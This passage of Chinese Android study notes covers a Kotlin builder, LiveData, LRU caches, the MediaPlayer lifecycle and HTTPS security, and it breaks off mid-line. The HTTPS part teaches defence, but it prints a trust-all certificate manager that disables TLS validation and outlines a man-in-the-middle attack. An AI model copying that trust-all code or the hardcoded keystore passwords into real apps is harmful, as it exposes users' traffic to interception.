    "content": "\nclass Car (\n        val model: String?,\n        val year: Int\n) {\n    private constructor(builder: Builder) : this(builder.model, builder.year)\n\n    class Builder {\n        var model: String? = null\n        var year: Int = -1\n\n        fun build() = Car(this)\n    }\n\n    companion object {\n        //核心 fun <T> T.apply(f: T.() -> Unit): T { f(); return this }\n        //调用者本身扩展一个apply方法, apply 允许可以传递一个无参数的函数无返回值的函数，然后扩展到调用者身上,并在函数体调用这个函数，并放回自身\n        // 为什么要Builder.() -> Unit扩展，因为这样里面就可以调用当前对象的其他方法，也就是能使用this\n        fun build(block: Builder.() -> Unit) = Builder().apply(block).build()\n\n\n    }\n}\n// usage 常规写法\nval car = Car.build({\n    model = \"aa\"\n    year = 2018\n})\n// usage 简化写，好多初学者看到kotlin项目会一脸懵，这是什么意思，其实就是如果只有一个闭包参数就可以省略(),直接写{}，\nval car = Car.build{\n    model = \"aa\"\n    year = 2018\n}"
  },
  {
    "path": "docs/android/sources/livedata.md",
    "content": "### LiveData使用介绍\n\n- LiveData 可以观察数据变化的框架\n\n\n- 如果一个Observer的生命周期处于STARTED或RESUMED状态，那么LiveData将认为这个Observer处于活跃状态.LiveData仅通知活跃的Observer去更新UI。非活跃状态的Observer，即使订阅了LiveData，也不会收到更新的通知。\n结合一个实现了LifecycleOwner接口的对象，你能注册一个Observer。这种结合关系使得当具有生命周期的对象的状态变为DESTROYED时，Observer将被取消订阅。这对于活和片段尤其有用，因为它们可以安全地订阅LiveData对象，而不必担心内存泄漏 - 当活和片段生命周期为DESTROYED时，它们立即会被取消订阅。\n\n\n\n#### LiveData的优点\n在项目中使用LiveData，会有以下优点：\n\n确保UI符合数据状态\nLiveData遵循观察者模式。当生命周期状态改变时，LiveData会向Observer发出通知。您可以把更新UI的代码合并在这些Observer对象中。不必去考虑导致数据变化的各个时机， -次数据有变化，观察者都会去更新UI。\n没有内存泄漏\n观察会绑定具有生命周期的对象，并在这个绑定的对象被销毁后自行清理。\n不会因停止活动发生而崩溃\n如果观察的生命周期处于非活跃状态，例如在后退堆栈中的活动，就不会收到任何LiveData事件的通知。\n不需要手动处理生命周期\nUI组件只需要去观察相关数据，不需要手动去停止或恢复观察.LiveData会进行自动管理这些事情，因为在观察时，它会感知到相应组件的生命周期变化。\n始终保持最新的数据\n如果一个对象的生命周期变到非活跃状态，它将在再次变为活跃状态时接收最新的数据。例如，后台活动在返回到前台后立即收到最新数据。\n应对正确配置更改\n如果一个活动或片段由于配置更改（如设备旋转）而重新创建，它会立即收到最新的可用数据。\n共享资源\n您可以使用单例模式扩展LiveData对象并包装成系统服务，以便在应用程序中进行共享.LiveData对象一旦连接到系统服务，任何需要该资源的Observer都只需观察这个LiveData对象。有关更多信息，请参阅扩展LiveData。\n使用LiveData对象\n\n#### 按照以下步骤使用LiveData对象：\n\n创建一个LiveData的实例来保存特定类型的数据。这通常在ViewModel类中完成。\n创建一个定义了onChanged（）方法的Observer对象，当LiveData对象保存的数据发生变化时，onChanged（）方法可以进行相应的处理。您通常在UI控制器（如Activity或Fragment）中创建Observer对象。\n使用observe（）方法将Observer对象注册到LiveData对象。observe（）方法还需要一个LifecycleOwner对象作为参数.Observer对象订阅了LiveData对象，便会在数据发生变化时发出通知。您通常需要UI控制器（如活动或片段）中注册观测对象。\n注意：您可以使用observeForever（Observer）方法注册一个没有关联LifecycleOwner对象的Observer。在这种情况下，Observer被认为始终处于活动状态，因此当有数据变化时总是会被通知。您可以调用removeObserver（观察员）方法移除这些观察员。\n\n  当你更新LiveData对象中存储的数据时，所有注册了的Observer，只要所绑定的LifecycleOwner处于活动状态，就会被触发通知\n  .LiveData允许UI控制器Observer订阅更新。当LiveData对象所保存的数据发生变化时，UI会在响应中自动更新\n"
  },
  {
    "path": "docs/android/sources/lru.md",
    "content": "### LRU 算法\n\n#### 介绍\n1. LRU（Least recently used，最近最少使用）算法根据数据的历史访问记录来进行淘汰数据，其核心思想是“如果数据最近被访问过，那么将来被访问的几率也更高”。\n#### 原理\n2. 最常见的实现是使用一个链表保存缓存数据\n    1. 新数据插入到链表头部； \n    2. 每当缓存命中（即缓存数据被访问），则将数据移到链表头部； \n    3. 当链表满的时候，将链表尾部的数据丢弃。 \n#### 分析 \n【命中率】 \n当存在热点数据时，LRU的效率很好，但偶发性的、周期性的批量操作会导致LRU命中率急剧下降，缓存污染情况比较严重。 \n\n命中时需要遍历链表，找到命中的数据块索引，然后需要将数据移到头部。\n\n#### 实现3这种方式\n\n1. 使用LinkHashMap inheritance（继承）方式\n\n   *采用inheritance方式实现比较简单，而且实现了Map接口，在多线程环境使用时可以使用 Collections.synchronizedMap()方法实现线程安全操作，当然也可以为每个方法都手动加锁，下面就是手动为每个加锁实现方式*\n\n\n    import java.util.ArrayList;  \n    import java.util.Collection;  \n    import java.util.LinkedHashMap;  \n    import java.util.concurrent.locks.Lock;  \n    import java.util.concurrent.locks.ReentrantLock;  \n    import java.util.Map;  \n    \n    \n    /** \n     * 类说明：利用LinkedHashMap实现简单的缓存， 必须实现removeEldestEntry方法，具体参见JDK文档 \n     *  \n     * @author qiyue \n     *  \n     * @param <K> \n     * @param <V> \n     */ \n    public class LRULinkedHashMap<K, V> extends LinkedHashMap<K, V> {  \n        private final int maxCapacity;  \n    \n        private static final float DEFAULT_LOAD_FACTOR = 0.75f;  \n    \n        private final Lock lock = new ReentrantLock();  \n    \n        public LRULinkedHashMap(int maxCapacity) {  \n            super(maxCapacity, DEFAULT_LOAD_FACTOR, true);  \n            this.maxCapacity = maxCapacity;  \n        }  \n    \n        @Override \n        protected boolean removeEldestEntry(java.util.Map.Entry<K, V> eldest) {  \n            return size() > maxCapacity;  \n        }  \n        @Override \n        public boolean containsKey(Object key) {  \n            try {  \n                lock.lock();  \n                return super.containsKey(key);  \n            } finally {  \n                lock.unlock();  \n            }  \n        }  \n    \n    \n        @Override \n        public V get(Object key) {  \n            try {  \n                lock.lock();  \n                return super.get(key);  \n            } finally {  \n                lock.unlock();  \n            }  \n        }  \n    \n        @Override \n        public V put(K key, V value) {  \n            try {  \n                lock.lock();  \n                return super.put(key, value);  \n            } finally {  \n                lock.unlock();  \n            }  \n        }  \n    \n        public int size() {  \n            try {  \n                lock.lock();  \n                return super.size();  \n            } finally {  \n                lock.unlock();  \n            }  \n        }  \n    \n        public void clear() {  \n            try {  \n                lock.lock();  \n                super.clear();  \n            } finally {  \n                lock.unlock();  \n            }  \n        }  \n    \n        public Collection<Map.Entry<K, V>> getAll() {  \n            try {  \n                lock.lock();  \n                return new ArrayList<Map.Entry<K, V>>(super.entrySet());  \n            } finally {  \n                lock.unlock();  \n            }  \n        }  \n    }\n \n2. 使用LinkHashMap delegation（委托）方式\n\n   *delegation方式实现更加优雅一些，但是由于没有实现Map接口，所以线程同步就需要自己搞定了*\n\n        \n        \n        import java.util.LinkedHashMap;\n        import java.util.Map;\n        import java.util.Set;\n        \n        /**\n         * Created by qiyue on 18-5-13.\n         */\n        public class LRUCache<K, V> {\n        \n            private final int MAX_CACHE_SIZE;\n            private final float DEFAULT_LOAD_FACTOR = 0.75f;\n            LinkedHashMap<K, V> map;\n        \n            public LRUCache(int cacheSize) {\n                MAX_CACHE_SIZE = cacheSize;\n                //根据cacheSize和加载因子计算hashmap的capactiy，+1确保当达到cacheSize上限时不会触发hashmap的扩容，\n                int capacity = (int) Math.ceil(MAX_CACHE_SIZE / DEFAULT_LOAD_FACTOR) + 1;\n                map = new LinkedHashMap(capacity, DEFAULT_LOAD_FACTOR, true) {\n                    @Override\n                    protected boolean removeEldestEntry(Map.Entry eldest) {\n                        return size() > MAX_CACHE_SIZE;\n                    }\n                };\n            }\n        \n            public synchronized void put(K key, V value) {\n                map.put(key, value);\n            }\n        \n            public synchronized V get(K key) {\n                return map.get(key);\n            }\n        \n            public synchronized void remove(K key) {\n                map.remove(key);\n            }\n        \n            public synchronized Set<Map.Entry<K, V>> getAll() {\n                return map.entrySet();\n            }\n        \n            public synchronized int size() {\n                return map.size();\n            }\n        \n            public synchronized void clear() {\n                map.clear();\n            }\n        \n            @Override\n            public String toString() {\n                StringBuilder sb = new StringBuilder();\n                for (Map.Entry entry : map.entrySet()) {\n                    sb.append(String.format(\"%s:%s \", entry.getKey(), entry.getValue()));\n                }\n                return sb.toString();\n            }\n        }\n\n3. 一种是自己设计数据结构，使用链表+HashMap方式\n\n       1. 自定义数据结构实现1\n\n\n        import java.util.HashMap;\n        \n        /**\n         * Created by qiyue on 18-5-12.\n         */\n        public class LRUCache<K, V> {\n        \n            private final int MAX_CACHE_SIZE;\n            private Entry first;\n            private Entry last;\n        \n            private HashMap<K, Entry<K, V>> hashMap;\n        \n            public LRUCache(int cacheSize) {\n                MAX_CACHE_SIZE = cacheSize;\n                hashMap = new HashMap<K, Entry<K, V>>();\n            }\n        \n            public synchronized void put(K key, V value) {\n                Entry entry = getEntry(key);\n                if (entry == null) {\n                    if (hashMap.size() >= MAX_CACHE_SIZE) {\n                        hashMap.remove(last.key);\n                        removeLast();\n                    }\n                    entry = new Entry();\n                    entry.key = key;\n                }\n                entry.value = value;\n                moveToFirst(entry);\n                hashMap.put(key, entry);\n            }\n        \n            public synchronized V get(K key) {\n                Entry<K, V> entry = getEntry(key);\n                if (entry == null) return null;\n                moveToFirst(entry);\n                return entry.value;\n            }\n        \n            public synchronized void remove(K key) {\n                Entry entry = getEntry(key);\n                if (entry != null) {\n                    if (entry.pre != null) entry.pre.next = entry.next;\n                    if (entry.next != null) entry.next.pre = entry.pre;\n                    if (entry == first) first = entry.next;\n                    if (entry == last) last = entry.pre;\n                }\n                hashMap.remove(key);\n            }\n        \n            private synchronized void moveToFirst(Entry entry) {\n                if (entry == first) return;\n                if (entry.pre != null) entry.pre.next = entry.next;\n                if (entry.next != null) entry.next.pre = entry.pre;\n                if (entry == last) last = last.pre;\n        \n                if (first == null || last == null) {\n                    first = last = entry;\n                    return;\n                }\n        \n                entry.next = first;\n                first.pre = entry;\n                first = entry;\n                entry.pre = null;\n            }\n        \n            private synchronized void removeLast() {\n                if (last != null) {\n                    last = last.pre;\n                    if (last == null) first = null;\n                    else last.next = null;\n                }\n            }\n        \n        \n            private synchronized Entry<K, V> getEntry(K key) {\n                return hashMap.get(key);\n            }\n        \n            @Override\n            public String toString() {\n                StringBuilder sb = new StringBuilder();\n                Entry entry = first;\n                while (entry != null) {\n                    sb.append(String.format(\"%s:%s \", entry.key, entry.value));\n                    entry = entry.next;\n                }\n                return sb.toString();\n            }\n        \n            class Entry<K, V> {\n                public Entry pre;\n                public Entry next;\n                public K key;\n                public V value;\n            }\n        }\n\n\n      2. 自定义数据结构实现2：：注意下面是非线程安全的使用时需要加锁\n      \n      \n            public class LRUCache {  \n                /** \n                 * 链表节点 \n                 * @author Administrator \n                 * \n                 */  \n                class CacheNode {  \n                    CacheNode prev;//前一节点  \n                    CacheNode next;//后一节点  \n                    Object value;//值  \n                    Object key;//键  \n                    CacheNode() {  \n                    }  \n                }  \n              \n                public LRUCache(int i) {  \n                    currentSize = 0;  \n                    cacheSize = i;  \n                    nodes = new Hashtable(i);//缓存容器  \n                }  \n                  \n                /** \n                 * 获取缓存中对象 \n                 * @param key \n                 * @return \n                 */  \n                public Object get(Object key) {  \n                    CacheNode node = (CacheNode) nodes.get(key);  \n                    if (node != null) {  \n                        moveToHead(node);  \n                        return node.value;  \n                    } else {  \n                        return null;  \n                    }  \n                }  \n                  \n                /** \n                 * 添加缓存 \n                 * @param key \n                 * @param value \n                 */  \n                public void put(Object key, Object value) {  \n                    CacheNode node = (CacheNode) nodes.get(key);  \n                      \n                    if (node == null) {  \n                        //缓存容器是否已经超过大小.  \n                        if (currentSize >= cacheSize) {  \n                            if (last != null)//将最少使用的删除  \n                                nodes.remove(last.key);  \n                            removeLast();  \n                        } else {  \n                            currentSize++;  \n                        }  \n                          \n                        node = new CacheNode();  \n                    }  \n                    node.value = value;  \n                    node.key = key;  \n                    //将最新使用的节点放到链表头，表示最新使用的.  \n                    moveToHead(node);  \n                    nodes.put(key, node);  \n                }  \n              \n                /** \n                 * 将缓存删除 \n                 * @param key \n                 * @return \n                 */  \n                public Object remove(Object key) {  \n                    CacheNode node = (CacheNode) nodes.get(key);  \n                    if (node != null) {  \n                        if (node.prev != null) {  \n                            node.prev.next = node.next;  \n                        }  \n                        if (node.next != null) {  \n                            node.next.prev = node.prev;  \n                        }  \n                        if (last == node)  \n                            last = node.prev;  \n                        if (first == node)  \n                            first = node.next;  \n                    }  \n                    return node;  \n                }  \n              \n                public void clear() {  \n                    first = null;  \n                    last = null;  \n                }  \n              \n                /** \n                 * 删除链表尾部节点 \n                 *  表示 删除最少使用的缓存对象 \n                 */  \n                private void removeLast() {  \n                    //链表尾不为空,则将链表尾指向null. 删除连表尾（删除最少使用的缓存对象）  \n                    if (last != null) {  \n                        if (last.prev != null)  \n                            last.prev.next = null;  \n                        else  \n                            first = null;  \n                        last = last.prev;  \n                    }  \n                }  \n                  \n                /** \n                 * 移动到链表头，表示这个节点是最新使用过的 \n                 * @param node \n                 */  \n                private void moveToHead(CacheNode node) {  \n                    if (node == first)  \n                        return;  \n                    if (node.prev != null)  \n                        node.prev.next = node.next;  \n                    if (node.next != null)  \n                        node.next.prev = node.prev;  \n                    if (last == node)  \n                        last = node.prev;  \n                    if (first != null) {  \n                        node.next = first;  \n                        first.prev = node;  \n                    }  \n                    first = node;  \n                    node.prev = null;  \n                    if (last == null)  \n                        last = first;  \n                }  \n                private int cacheSize;  \n                private Hashtable nodes;//缓存容器  \n                private int currentSize;  \n                private CacheNode first;//链表头  \n                private CacheNode last;//链表尾  \n            } \n    \n#### 以上3中方式都没有问题，看个人喜好\n\n\n     "
  },
  {
    "path": "docs/android/sources/media_player.md",
    "content": "### MediaPlayer生命周期\n\n###### 如果使用时MediaPlayer的状态不正确则会引发IllegalStateException异常。\n\n \n1. Idle 状态：当使用new()方法创建一个MediaPlayer对象或者调用了其reset()方法时，该MediaPlayer对象处于idle状态。这两种方法的一个重要差别就是：如果在这个状态下调用了getDuration()等方法（相当于调用时机不正确），通过reset()方法进入idle状态的话会触发OnErrorListener.onError()，并且MediaPlayer会进入Error状态；如果是新创建的MediaPlayer对象，则并不会触发onError(),也不会进入Error状态。\n\n\n2. Initialized 状态：这个状态比较简单，MediaPlayer调用setDataSource()方法就进入Initialized状态，表示此时要播放的文件已经设置好了。\n\n\n3. Preparing 状态：这个状态比较好理解，主要是和prepareAsync()配合，如果异步准备完成，会触发OnPreparedListener.onPrepared()，进而进入Prepared状态。\n\n4. Prepared 状态：初始化完成之后还需要通过调用prepare()或prepareAsync()方法，这两个方法一个是同步的一个是异步的，只有进入Prepared状态，才表明MediaPlayer到目前为止都没有错误，可以进行文件播放。\n\n\n5. Started 状态：显然，MediaPlayer一旦准备好，就可以调用start()方法，这样MediaPlayer就处于Started状态，这表明MediaPlayer正在播放文件过程中。可以使用isPlaying()测试MediaPlayer是否处于了Started状态。如果播放完毕，而又设置了循环播放，则MediaPlayer仍然会处于Started状态，类似的，如果在该状态下MediaPlayer调用了seekTo()或者start()方法均可以让MediaPlayer停留在Started状态。\n\n\n6. Paused 状态：Started状态下MediaPlayer调用pause()方法可以暂停MediaPlayer，从而进入Paused状态，MediaPlayer暂停后再次调用start()则可以继续MediaPlayer的播放，转到Started状态，暂停状态时可以调用seekTo()方法，这是不会改变状态的。\n \n\n7. PlaybackCompleted状态：文件正常播放完毕，而又没有设置循环播放的话就进入该状态，并会触发OnCompletionListener的onCompletion()方法。此时可以调用start()方法重新从头播放文件，也可以stop()停止MediaPlayer，或者也可以seekTo()来重新定位播放位置。\n\n \n8. Stop 状态：Started或者Paused状态下均可调用stop()停止MediaPlayer，而处于Stop状态的MediaPlayer要想重新播放，需要通过prepareAsync()和prepare()回到先前的Prepared状态重新开始才可以。\n\n\n9. Error状态：如果由于某种原因MediaPlayer出现了错误，会触发OnErrorListener.onError()事件，此时MediaPlayer即进入Error状态，及时捕捉并妥善处理这些错误是很重要的，可以帮助我们及时释放相关的软硬件资源，也可以改善用户体验。通过setOnErrorListener(android.media.MediaPlayer.OnErrorListener)可以设置该监听器。如果MediaPlayer进入了Error状态，可以通过调用reset()来恢复，使得MediaPlayer重新返回到Idle状态\n\n10. End 状态：通过release()方法可以进入End状态，只要MediaPlayer对象不再被使用，就应当尽快将其通过release()方法释放掉，以释放相关的软硬件组件资源，这其中有些资源是只有一份的（相当于临界资源）。如果MediaPlayer对象进入了End状态，则不会在进入任何其他状态了。\n\n "
  },
  {
    "path": "docs/android/sources/netsafe.md",
    "content": "### 加密方案发展\n\n1. 一开始使用非对称加密可以达到安全，但是效率太低，\n\n2. 使用对称秘钥效率高，但如果写入客户端，被破解后就可以解密双方数据，因为服务端也是相同的秘钥\n\n3. 服务端生成会话密钥，进行非对称加密下发，咋一看这个会话密钥是加密后在网络上传输的，但实际上里面存在一个问题：由于公钥是公开的，因此任何人都能用公钥解开并获取你的会话密钥。因此，这个方案也不够完善。\n我们再回顾一下这个方案，发现存在一个本质的问题：这个会话密钥是服务端单独生成的，那一定会导致一种结果：只要客户端能最终解密出来，那黑客也一定能解密出来。因为对于服务端而言，客户端和黑客都是密钥的接收方，两者是平等的，无法区别的。\n\n4. 客户端主动生成密钥\n\n    具体方式如下：\n\n    服务端明文下发公钥给客户端；\n    客户端生成一个随机数作为会话密钥，利用公钥加密后发送给服务端；\n    服务端收到后，通过私钥对密文进行解密并获取随机数。\n    可以看出这个过程里，黑客就算拦截了我们的加密数据，也会因为没有私钥而无法获取会话密钥。\n\n    看起来，方案很完美了，但实际上里面仍然存在一个漏洞：如果最开始下发的明文公钥就是假的呢？这会导致的结果是：用户全程和一个中间黑客通信：信任黑客的公钥，然后自以为安全的进行数据通信，结果把所有个人信息都暴露给黑客了，最重要的是，服务端对此一无所知！\n\n5.  公钥的合法性校验\n   为了公钥的合法性校验，人们建立了专门颁发证书的机构：\"证书中心\"（Certificate authority，简称CA），它会利用自己的私钥，将我们的公钥和相关信息进行加密，生成一个数字证书。在客户端内部，会存在一个受信任的根证书颁发机构，所以客户端在每次拿到一个公钥后，就去查询这个公钥是否在这里受信任证书列表中，如果不在，则认为公钥无效，不再进行后续操作。如果存在，再继续进行下一步认证。\n\n   而这也和Https的实现机制相近。\n\n\n\n\n### https 原理\n\n前提 非常重要的事情—加密方案中的加密算法都是公开的，而密钥是保密的,没有密钥就不能解密，有了密钥就能解密 *\n\n三个角色       客户端              代理服务器                  真实服务器\n\n所谓拦截破解拦截，就是代理服务器可以看到客户端发给服务器的数据和服务端返回给客户端的数据，并可以篡改\n\n\n指定信任证书 https 验证流程，（还有不指定的，就是会默认用根证书验证，但不能保证唯一性）\n\n用我们的证书去申请 CA证书，一对CA公钥 和 CA私钥\n\nCA公钥留在客户端                    CA私钥留在服务端\n\n建立链接握手过程中   -》 通过代理服务器   -》到达服务端\n\n服务端返回-》代理服务器一个CA证书（用CA私钥加密过的，只能CA公钥去解，里面包含了我们自己的公钥），代理服务通过破解的App方式可以拿到证书（CA公钥去解密证书，拿到里面的公钥）通过公钥加密 自己生成对称秘钥反给服务器，服务器拿手里私钥去解密，可以达到通信（但这并无意，我们自己也不知道和服务器通信做什么）这里可以达到冒充客户端作用，应该没意义吧\n\n代理服务器将CA证书给客户端，客户端通过使用本地CA证书公钥解密，验证通过，取出公钥，生成对称秘钥，然后加密返回代理服务器，代理服务器拿到之后没有私钥，不能解密取出对称秘钥，只能返回给服务器\n\n\n\n\n#### 对于浏览器\n\n客户不留你们的证书，只有几个最大的CA跟证书\n\n通过CA根证书验证你们的CA证书，再通过CA证书验证网站证书\n\n通过根证书验证 报CertificateException 验证失败，就会弹出是否要信任此证书，同意可继续浏览\n\n\n\n#### 对于手机\n\n内置也有几个最大的CA跟证书\n\n当我们App使用https时，通常会报CertificateException，表示该证书用手机根证书验证失败，因此我们解决办法可能是信任所有证书，\n\n在客户端中覆盖google默认的证书检查机制（X509TrustManager），并且在代码中无任何校验SSL证书有效性相关代码\n\n           public class MySSLSocketFactory extends SSLSocketFactory {\n        \t    SSLContext sslContext = SSLContext.getInstance(\"TLS\");\n        \t \n        \t    public MySSLSocketFactory(KeyStore truststore)\n        \t        throws NoSuchAlgorithmException, KeyManagementException,\n        \t            KeyStoreException, UnrecoverableKeyException {\n        \t        super(truststore);\n        \t \n        \t        TrustManager tm = new X509TrustManager() {\n        \t                public void checkClientTrusted(X509Certificate[] chain,\n        \t                    String authType) throws CertificateException {\n       \t                }\n        \t \n        \t                 //客户端并未对SSL证书的有效性进行校验，并且使用了自定义方法的方式覆盖android自带的校验方法\n        \t                public void checkServerTrusted(X509Certificate[] chain,\n        \t                    String authType) throws CertificateException {\n        \t                }\n        \t \n        \t                public X509Certificate[] getAcceptedIssuers() {\n        \t                    return null;\n        \t                }\n        \t            };\n        \t \n        \t        sslContext.init(null, new TrustManager[] { tm }, null);\n        \t    }\n        \t}\n\n#### 但问题出来了：\n\n如果用户手机中安装了一个恶意证书，那么就可以通过中间人攻击的方式进行窃听用户通信以及修改request或者response中的数据。\n手机银行中间人攻击过程：\n\n1. 客户端在启动时，传输数据之前需要客户端与服务端之间进行一次握手，在握手过程中将确立双方加密传输数据的密码信息。\n2. 中间人在此过程中将客户端请求服务器的握手信息拦截后，模拟客户端请求给服务器（将自己支持的一套加密规则发送给服务器），服务器会从中选出一组加密算法与HASH算法，并将自己的身份信息以证书的形式发回给客户端。证书里面包含了网站地址，加密公钥，以及证书的颁发机构等信息。\n3. 而此时中间人会拦截下服务端返回给客户端的证书信息，并替换成自己的证书信息。\n4. 客户端得到中间人的response后，会选择以中间人的证书进行加密数据传输。\n5. 中间人在得到客户端的请求数据后，以自己的证书进行解密。\n6. 在经过窃听或者是修改请求数据后，再模拟客户端加密请求数据传给服务端。就此完成整个中间人攻击的过程。\n\n\n\n#### 防护办法：\n   1.\n       服务端使用CA机构颁发的证书，客户端默认用根证书验证就可以，（但只能验证是否是合法的CA证书，只要是CA证书都能通过验证，需要做访问域名限制，（还是说默认CA颁发的就不敢做坏事，做坏事可以查））\n\n   2. 添加指定添加指定信任证书（这个证书可以是CA申请的(使用CA机构颁发证书的方式可行，但是如果与实际情况相结合来看的话，时间和成本太高，所以目前很少有用此办法来做。)，也可以是自己自签名生成的） \n       在客户端内部，会存在一个受信任的根证书颁发机构，所以客户端在每次拿到一个公钥后，就去查询这个公钥是否在这里受信任证书列表中，如果不在，则认为公钥无效，不再进行后续操作。如果存在，再继续进行下一步认证。\n\n\n\n            public void initSSL() throws CertificateException, IOException, KeyStoreException,\n                        NoSuchAlgorithmException, KeyManagementException {\n                    CertificateFactory cf = CertificateFactory.getInstance(\"X.509\");\n                    InputStream in = getAssets().open(\"ca.crt\");\n                    Certificate ca = cf.generateCertificate(in);\n\n                    KeyStore keystore = KeyStore.getInstance(KeyStore.getDefaultType());\n                    keystore.load(null, null);\n                    keystore.setCertificateEntry(\"ca\", ca);\n\n                    String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();\n                    TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);\n                    tmf.init(keystore);\n\n                    // Create an SSLContext that uses our TrustManager\n                    SSLContext context = SSLContext.getInstance(\"TLS\");\n                    context.init(null, tmf.getTrustManagers(), null);\n                    URL url = new URL(\"https://certs.cac.washington.edu/CAtest/\");\n            //        URL url = new URL(\"https://github.com\");\n                    HttpsURLConnection urlConnection = (HttpsURLConnection) url.openConnection();\n                    urlConnection.setSSLSocketFactory(context.getSocketFactory());\n                    InputStream input = urlConnection.getInputStream();\n\n                    BufferedReader reader = new BufferedReader(new InputStreamReader(input, \"UTF-8\"));\n                    StringBuffer result = new StringBuffer();\n                    String line = \"\";\n                    while ((line = reader.readLine()) != null) {\n                        result.append(line);\n                    }\n                    Log.e(\"TTTT\", result.toString());\n                }\n\n\n- 由于手机银行服务器其实是固定的，所以证书也是固定的，可以使用“证书或公钥锁定”的办法来防护证书有效性未作验证的问题。这相当不用默认根证书去校验，而是自己去校验\n\n\n\n        public final class PubKeyManager implements X509TrustManager {\n        \t    private static String PUB_KEY = \"30820122300d06092a864886f70d0101\" +\n        \t        \"0105000382010f003082010a0282010100b35ea8adaf4cb6db86068a836f3c85\"+\n        \t        \"5a545b1f0cc8afb19e38213bac4d55c3f2f19df6dee82ead67f70a990131b6bc\"+\n        \t        \"ac1a9116acc883862f00593199df19ce027c8eaaae8e3121f7f329219464e657\"+\n        \t        \"2cbf66e8e229eac2992dd795c4f23df0fe72b6ceef457eba0b9029619e0395b8\"+\n        \t        \"609851849dd6214589a2ceba4f7a7dcceb7ab2a6b60c27c69317bd7ab2135f50\"+\n        \t        \"c6317e5dbfb9d1e55936e4109b7b911450c746fe0d5d07165b6b23ada7700b00\"+\n        \t        \"33238c858ad179a82459c4718019c111b4ef7be53e5972e06ca68a112406da38\"+\n        \t        \"cf60d2f4fda4d1cd52f1da9fd6104d91a34455cd7b328b02525320a35253147b\"+\n        \t        \"e0b7a5bc860966dc84f10d723ce7eed5430203010001\";\n        \t \n        \t     //锁定证书公钥在apk中\n        \t    public void checkServerTrusted(X509Certificate[] chain, String authType)\n        \t        throws CertificateException {\n        \t        if (chain == null) {\n        \t            throw new IllegalArgumentException(\n                        \"checkServerTrusted: X509Certificate array is null\");\n        \t        }\n        \t \n        \t        if (!(chain.length > 0)) {\n        \t            throw new IllegalArgumentException(\n        \t                \"checkServerTrusted: X509Certificate is empty\");\n        \t        }\n        \t \n        \t        if (!((null != authType) && authType.equalsIgnoreCase(\"RSA\"))) {\n        \t            throw new CertificateException(\n        \t                \"checkServerTrusted: AuthType is not RSA\");\n        \t        }\n        \t \n        \t        // Perform customary SSL/TLS checks\n        \t        try {\n        \t            TrustManagerFactory tmf = TrustManagerFactory.getInstance(\"X509\");\n        \t            tmf.init((KeyStore) null);\n        \t \n        \t            for (TrustManager trustManager : tmf.getTrustManagers()) {\n        \t                ((X509TrustManager) trustManager).checkServerTrusted(chain,\n        \t                    authType);\n        \t            }\n        \t        } catch (Exception e) {\n        \t            throw new CertificateException(e);\n        \t        }\n        \t \n        \t        // Hack ahead: BigInteger and toString(). We know a DER encoded Public Key begins\n        \t        // with 0?30 (ASN.1 SEQUENCE and CONSTRUCTED), so there is no leading 0?00 to drop.\n        \t        RSAPublicKey pubkey = (RSAPublicKey) chain[0].getPublicKey();\n        \t        String encoded = new BigInteger(1 /* positive */, pubkey.getEncoded()).toString(16);\n        \t \n        \t        // Pin it!\n        \t        final boolean expected = PUB_KEY.equalsIgnoreCase(encoded);\n        \t \n        \t        if (!expected) {\n        \t            throw new CertificateException(\n        \t                \"checkServerTrusted: Expected public key: \" + PUB_KEY +\n        \t                \", got public key:\" + encoded);\n        \t        }\n        \t    }\n        \t}\n\n\n\n  3. 上面方法都可避免中间攻击人冒充服务端，因为中间攻击人不能串改服务端证书，只能用和服务端相同的证书，即使证书我们可以通过服务端下发拿到，但是没有私钥也解密不了信息\n\n  4. 以上如果以上还是存在一个问题，就是中间攻击人可以冒充客户端，使用根证书公钥进行解密获得公钥等信息，验证服务器数据签名，然后加密自己对称秘钥发给服务器，达到伪装客户端目的\n\n  5. 为了客户端不被冒充使用Https双向验证，在客户端也保留个证书，发给服务端验证，但是如果客户端被破解取得证书也会被冒充\n\n\n\n          public class SSLHelper {\n              private static final String KEY_STORE_TYPE_BKS = \"bks\";\n              private static final String KEY_STORE_TYPE_P12 = \"PKCS12\";\n              public static final String KEY_STORE_CLIENT_PATH = \"server.pfx\";//P12文件\n              private static final String KEY_STORE_TRUST_PATH = \"client.truststore\";//truststore文件\n              public static final String KEY_STORE_PASSWORD = \"123456\";//P12文件密码\n              private static final String KEY_STORE_TRUST_PASSWORD = \"123456\";//truststore文件密码\n\n              public static SSLSocketFactory getSSLSocketFactory(Context context) {\n                  SSLSocketFactory factory = null;\n\n                  try {\n                      // 服务器端需要验证的客户端证书\n                      KeyStore keyStore = KeyStore.getInstance(KEY_STORE_TYPE_P12);\n                      // 客户端信任的服务器端证书\n                      KeyStore trustStore = KeyStore.getInstance(KEY_STORE_TYPE_BKS);\n\n                      InputStream ksIn = context.getResources().getAssets()\n                        .open(KEY_STORE_CLIENT_PATH);\n                      InputStream tsIn = context.getResources().getAssets()\n                        .open(KEY_STORE_TRUST_PATH);\n                      try {\n                          keyStore.load(ksIn, KEY_STORE_PASSWORD.toCharArray());\n                          trustStore.load(tsIn, KEY_STORE_TRUST_PASSWORD.toCharArray());\n                      } catch (Exception e) {\n                          e.printStackTrace();\n                      } finally {\n                          try {\n                              ksIn.close();\n                          } catch (Exception e) {\n                              e.printStackTrace();\n                          }\n                          try {\n                              tsIn.close();\n                          } catch (Exception e) {\n                              e.printStackTrace();\n                          }\n                      }\n                      //信任管理器\n                      TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(\n                        TrustManagerFactory.getDefaultAlgorithm());\n                      trustManagerFactory.init(trustStore);\n                      //密钥管理器\n                      KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(\"X509\");\n                      keyManagerFactory.init(keyStore, KEY_STORE_PASSWORD.toCharArray());\n                      //初始化SSLContext\n                      SSLContext sslContext = SSLContext.getInstance(\"TLS\");\n                      sslContext.init(keyManagerFactory.getKeyManagers(),\n                                      trustManagerFactory.getTrustManagers(), null);\n                      factory =  sslContext.getSocketFactory();\n                  } catch (NoSuchAlgorithmException e) {\n                      e.printStackTrace();\n                  } catch (KeyManagementException e) {\n                      e.printStackTrace();\n                  } catch (KeyStoreException e) {\n                      e.printStackTrace();\n                  } catch (IOException e) {\n                      e.printStackTrace();\n                  } catch (UnrecoverableKeyException e) {\n                      e.printStackTrace();\n                  }\n\n                  return factory;\n              }\n\n          }\n\n          OkHttpClient配置\n          OkHttpClient client = 